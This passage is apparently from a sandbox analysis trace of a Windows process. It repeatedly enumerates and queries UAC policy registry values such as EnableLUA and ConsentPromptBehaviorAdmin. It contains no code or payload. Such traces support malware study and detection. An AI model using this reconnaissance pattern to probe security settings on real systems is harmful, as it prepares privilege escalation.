lpValueName="dontdisplaylastusername", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b950 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c360 [0227.068] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b9d0 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c3a8 [0227.068] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b9e0 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c3f0 [0227.068] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c438 [0227.068] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b998) returned 1 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b998 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c480 [0227.068] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b9a8 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c4c8 [0227.068] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b9b8 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c510 [0227.068] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b9f0 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c558 [0227.068] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c5a0 [0227.068] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c5a0) returned 1 [0227.068] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c5a0 [0227.068] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c5a0) returned 1 [0227.069] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c5a0 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c5a0) returned 1 [0227.069] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c5a0 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c5a0) returned 1 [0227.069] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c5a0 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b878) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b888) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c168) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b898) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c1b0) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b930) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c1f8) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b860) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c240) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b968) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b978) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c2d0) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b988) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c318) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b940) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c360) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b950) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c3a8) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b9d0) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c3f0) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b9e0) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c480) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b998) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c4c8) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b9a8) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c510) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b9b8) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c558) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b9f0) returned 1 [0227.069] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c438) returned 1 [0227.069] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c438 [0227.070] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x58f740, lpData=0x0, lpcbData=0x58f748*=0x0 | out: lpType=0x58f740*=0x4, lpData=0x0, lpcbData=0x58f748*=0x4) returned 0x0 [0227.070] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x58f740, lpData=0x18c438, lpcbData=0x58f748*=0x4 | out: lpType=0x58f740*=0x4, lpData=0x18c438*=0x1, lpcbData=0x58f748*=0x4) returned 0x0 [0227.070] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c438) returned 1 [0227.070] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c5a0) returned 1 [0227.070] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18b860 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b878 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c5a0 [0227.070] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b888 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c438 [0227.070] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b898 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c558 [0227.070] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b930 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c510 [0227.070] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x20) returned 0x18b940 [0227.070] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b860) returned 1 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b860 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c4c8 [0227.070] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b968 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c480 [0227.070] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.070] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b978 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c3f0 [0227.071] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b988 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c3a8 [0227.071] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x30) returned 0x18b998 [0227.071] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b940) returned 1 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b940 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c360 [0227.071] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b950 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c318 [0227.071] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b9d0 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c2d0 [0227.071] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b9e0 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.071] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c240 [0227.071] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b998) returned 1 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b998 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1f8 [0227.071] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18b9a8 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1b0 [0227.071] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d1e8 [0227.071] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c168 [0227.071] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.072] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d1f8 [0227.072] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.072] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0227.072] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.072] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c5a0) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b878) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c438) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b888) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c558) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b898) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c510) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b930) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c4c8) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b860) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c480) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b968) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c3f0) returned 1 [0227.072] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b978) returned 1 [0227.072] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x58f740, lpData=0x0, lpcbData=0x58f748*=0x0 | out: lpType=0x58f740*=0x4, lpData=0x0, lpcbData=0x58f748*=0x4) returned 0x0 [0227.072] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x58f740, lpData=0x18c240, lpcbData=0x58f748*=0x4 | out: lpType=0x58f740*=0x4, lpData=0x18c240*=0x5, lpcbData=0x58f748*=0x4) returned 0x0 [0227.072] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.072] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18d5e8 [0227.072] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d1f8 [0227.072] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.072] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.072] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d1e8 [0227.072] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c240 [0227.072] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d208 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.073] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d218 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c168 [0227.073] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x20) returned 0x18b860 [0227.073] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d238 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1f8 [0227.073] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d248 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.073] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d258 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c2d0 [0227.073] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x30) returned 0x18b930 [0227.073] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d278 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c360 [0227.073] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d288 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c3a8 [0227.073] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d298 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c3f0 [0227.073] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.073] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c480 [0227.074] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.074] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2b8 [0227.074] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c510 [0227.074] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x58f630, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.074] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2c8 [0227.074] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c558 [0227.074] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x58f634, lpcchValueName=0x58f630, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: 